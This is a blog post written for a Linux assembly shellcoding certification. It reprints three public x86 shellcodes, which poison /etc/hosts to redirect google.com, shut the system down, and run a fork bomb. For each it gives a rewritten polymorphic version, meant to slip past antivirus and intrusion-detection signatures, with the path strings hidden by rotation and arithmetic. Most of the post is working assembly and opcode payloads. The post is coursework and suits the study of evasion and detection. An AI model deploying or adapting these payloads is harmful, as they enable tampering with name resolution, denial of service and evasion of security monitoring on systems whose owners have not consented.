SLAE Assignment #6 Polymorphic Shellcodes
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1202
Hi! Today we are going to talk about polymorphic shellcodes.
Well, CPU and memory just store some state, right? And this state may be changed with different CPU instructions.
There is a really huge instruction set for x86, so, it is not so hard to check that some instructions or their combinations can lead our CPU and memory to the same states.
For example, we can use
mov eax, 0x00 to make EAX equals zero, or run
xor eax, eax for this purpose, or make EBX equals zero and call
mul EBX and so on.
And there are a lot of such combinations. Some of them requires additional bytes, but leads to the such state of CPU and memory.
This property of shellcodes has the name “polymorphism”. How can we use this? Well, we can bypass AV/IPS signatures, for example. Also, encoding is not a panacea against badchars, because here may be bad chars in encoder itself - and in this case we can use polymorphism too!
Let’s check some practical examples.
I found this shellcode on the shell-storm. Here is the code:
;modify_hosts.asm ;this program add a new entry in hosts file pointing google.com to 127.1.1.1 ;author Javier Tejedor ;date 24/09/2014 ;http://shell-storm.org/shellcode/files/shellcode-893.php global _start section .text _start: xor ecx, ecx mul ecx mov al, 0x5 push ecx push 0x7374736f ;/etc///hosts push 0x682f2f2f push 0x6374652f mov ebx, esp mov cx, 0x401 ;permmisions int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx push 20 ;length of the string, dont forget to modify if changes the map pop edx int 0x80 ;syscall to write in the file push 0x6 pop eax int 0x80 ;syscall to close the file push 0x1 pop eax int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com"
This shellcode appends one line to the ‘/etc/hosts’ file that allows attacker to redirect user traffic to the malicious site, or just server - depends on purpose.
String “127.1.1.1 google.com” means that any requests for “google.com” will be redirected to 127.1.1.1 (alias for localhost) on the DNS name resolution stage.
Here is my polymorphic code for this shellcode:
; polymoprhic_hosts.asm ; Author: German Namestnikov global _start section .text _start: xor ecx, ecx xor eax, eax add al, 0x05 push ecx inc ecx mov edx, 0xe6e8e6de ror edx, cl push edx mov edx, 0xd05e5e5e ror edx, cl push edx mov edx, 0xc6e8ca5e ror edx, cl push edx mov ebx, esp mov ch, 0x04 mov cl, 0x01 int 0x80 xor ebx, ebx xchg eax, ebx jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx xor edx, edx mov dl, 0x14 mov al, 0x04 int 0x80 ;syscall to write in the file mov al, 0x06 int 0x80 ;syscall to close the file mov al, 0x01 int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com"
Well, I changed several things in the original shellcode. First of all - and most important to note that - I changed substrings that will be pushed to the Stack. There is “/etc///hosts” string in original shellcode that may be detected (or its parts) by IDS. Actually, such things is a true miracle for IPS :D
I push the parts of “/etc///hosts” too, but I store them in code in rotated form, and just return them back before pushing.
Second thing to note is that I changed loading permissions (
mov cx, 0x401) process. CX consists of CH and CL, so, I decided to load them one by one with
mov ch, 0x04 and
mov cl, 0x01 instructions.
Also, I prefer to load values into the registers directly and changed common push/pop instructions on movs.
Original shellcode has 77 bytes size, and my polymorphic code has 87 bytes size - that gives us 12% overweight. Nice result!
The next shellcode to make polymorph is this ‘shutdown -h now’ shellcode:
; Title: shutdown -h now Shellcode - 56 bytes ; Date: 2014-06-27 ; Platform: linux/x86 ; Author: Osanda Malith Jayathissa (@OsandaMalith) ; http://shell-storm.org/shellcode/files/shellcode-876.php global _start section .text _start: xor eax,eax xor edx,edx push eax push word 0x682d mov edi, esp push eax push 0x6e mov word [esp+0x01], 0x776f mov edi,esp push eax push 0x6e776f64 push 0x74756873 push 0x2f2f2f6e push 0x6962732f mov ebx,esp push edx push esi push edi push ebx mov ecx,esp mov al,0xb int 0x80
This code is just a decompilation, but it works fine for me. There are multiple pushes with substrings too, so, I decided to have some fun and check different ways.
Finally, here is my code:
global _start section .text _start: xor eax, eax xor edx, edx xor ebx, ebx ; push "-h", 0x00 push eax push word 0x682d ; mov edi, esp ; push 0x00776f6e = "now", 0x00 mov ax, 0x9526 mov bl, 0xcd mul ebx push eax mov edi, esp ; push "/sbin///shutdown", 0x00 push edx mov eax, edx ; nwod mov ax, 0xfdee mov bx, 0x6f5e mul ebx push eax push word 0x7475 ; tuhs push word 0x6873 mov eax, 0xffffffff ; ///n sub eax, 0xd0d0d091 push eax push 0x6962732f ; ibs/ mov ebx, esp ; SYS_EXECVE params push edx push esi push edi push ebx mov ecx, esp xor eax, eax mov al, 0x0b int 0x80
Well, 4-bytes substrings are actually just a numbers. And I considered them like they are a numbers :)
I used multiplication and substraction to hide strings behind “random” bytes. This may be tricky, but no rocket science here.
Overweight is 74/55 = 34%.
After these two shellcodes I was tired and decided to have some fun. And there is no much funny thing as DoS!
I found this shellcode that implements the fork() bomb. This is a pretty small, and, actually, I have never worked with fork() function or SYS_FORK syscall.
First of all, I disassembled the code:
german@slae-lab:~/slae-shellcoding$ echo $'\x6a\x02\x58\xcd\x80\xeb\xf9' | ndisasm -u - 00000000 6A02 push byte +0x2 00000002 58 pop eax 00000003 CD80 int 0x80 00000005 EBF9 jmp short 0x0
I slightly modified this code (but saved an opcodes) to make proper asm-file:
; http://shell-storm.org/shellcode/files/shellcode-214.php global _start section .text _start: push byte 0x2 pop eax int 0x80 jmp short _start
Ok, what about polymorph code? The smaller the code size is, the harder it is to mutate it. But I tried :D
Here is a result:
; http://shell-storm.org/shellcode/files/shellcode-214.php global _start section .text _start: xor ebx, ebx inc ebx inc ebx _syscall: mov eax, ebx int 0x80 jmp _syscall
And here are opcodes of my shellcode:
\x31\xdb\x43\x43\x89\xd8\xcd\x80\xeb\xfa. Original shellcode is here too:
Size of my shellcode is 10 bytes vs. 7 bytes in original. 42% overweight, but it is Ok too.
Polymorphism is a great technique based on the properties of CPU instructions itself. I made a three examples of mutating shellcodes, this uses polymorphism property, but this is not polymorphism itself - I didn’t create polymorphic engine or other automation tool.
Also, size of polymorphic shellcode does matter. This is very hard to limit overweight of polymorphic versions of small shellcodes as I demonstrated with last example.
Also, check my small SLAE repo. I almost finished all assignments, but I still will publish something after that.